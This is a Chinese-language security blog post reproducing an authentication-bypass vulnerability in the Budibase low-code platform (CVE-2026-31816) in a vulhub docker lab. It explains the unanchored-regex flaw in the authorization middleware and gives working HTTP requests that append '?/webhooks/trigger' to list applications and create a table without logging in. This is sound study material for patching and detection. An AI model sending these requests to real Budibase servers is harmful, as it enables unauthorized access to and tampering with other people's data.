CVE复现 | CVE-2026-31816漏洞复现
原创
LRT凌日
LRT凌日
凌日网络与信息安全团队LapR1skT
2026年7月10日 08:00
重庆
在小说阅读器读本章
去阅读
漏洞概述
Budibase 是一款开源低代码平台,用于快速构建内部工具、工作流自动化程序及管理后台面板。该漏洞源于服务端authorized() 中间件在识别 Webhook 路径时使用了非锚定正则表达式,导致其错误地匹配了 URL 中的查询参数。远程攻击者只需在 API 请求末尾拼接特定的 Webhook 路径字符串(如?/webhooks/trigger),即可绕过身份认证、角色鉴权及 CSRF 防护,实现对服务端所有 API 端点的完全访问与操作
漏洞逻辑
源码地址:
https://codeload.github.com/Budibase/budibase/zip/refs/tags/3.31.4
代码定位:
packages/server/src/middleware/authorized.ts#authorized
其中的isWebhookEndpoint()函数当内容为true,则跳转
我们点开WebhookEndpoint()的逻辑,发现只要是存在以下关键词,就会判定为true,并且该函数利用join进行拼接,也就是说url里面存在以下关键词,中间件就会放行,并且join会自动拼接我们想要的操作,攻击者就能随意修改内容
环境配置
https://github.com/vulhub/vulhub/tree/master/budibase/CVE-2026-31816
基于docker-compose.yml
搭建镜像
cd到CVE-2026-31816的路径下
1. docker-compose up -d
漏洞验证
在docker上面搭建好环境之后,启动进入主页面,默认管理员账号[email protected]:admin123456,之后创建一个workspace。
我们只需要在API端点之后附加 webhook 路径模式如 ?/webhooks/trigger就能获取到Appid
1. GET /api/applications?/webhooks/trigger HTTP/1.1
2. Host: your-ip:10000
3. Accept: application/json
再拿到了appid之后我们就能访问一些敏感的信息,例如用户信息
1. POST /api/tables?/webhooks/trigger HTTP/1.1
2. Host: your-ip:10000
3. Content-Type: application/json
4. x-budibase-app-id:<TARGETED_WORKSPACE_ID>
5. {\"name\":\"hacked_table\",\"schema\":{}}
参考文章
https://github.com/vulhub/vulhub/blob/master/budibase/CVE-2026-31816/README.zh-cn.md
免责声明:由于传播、利用本公众号凌日网络与信息安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号凌日网络与信息安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论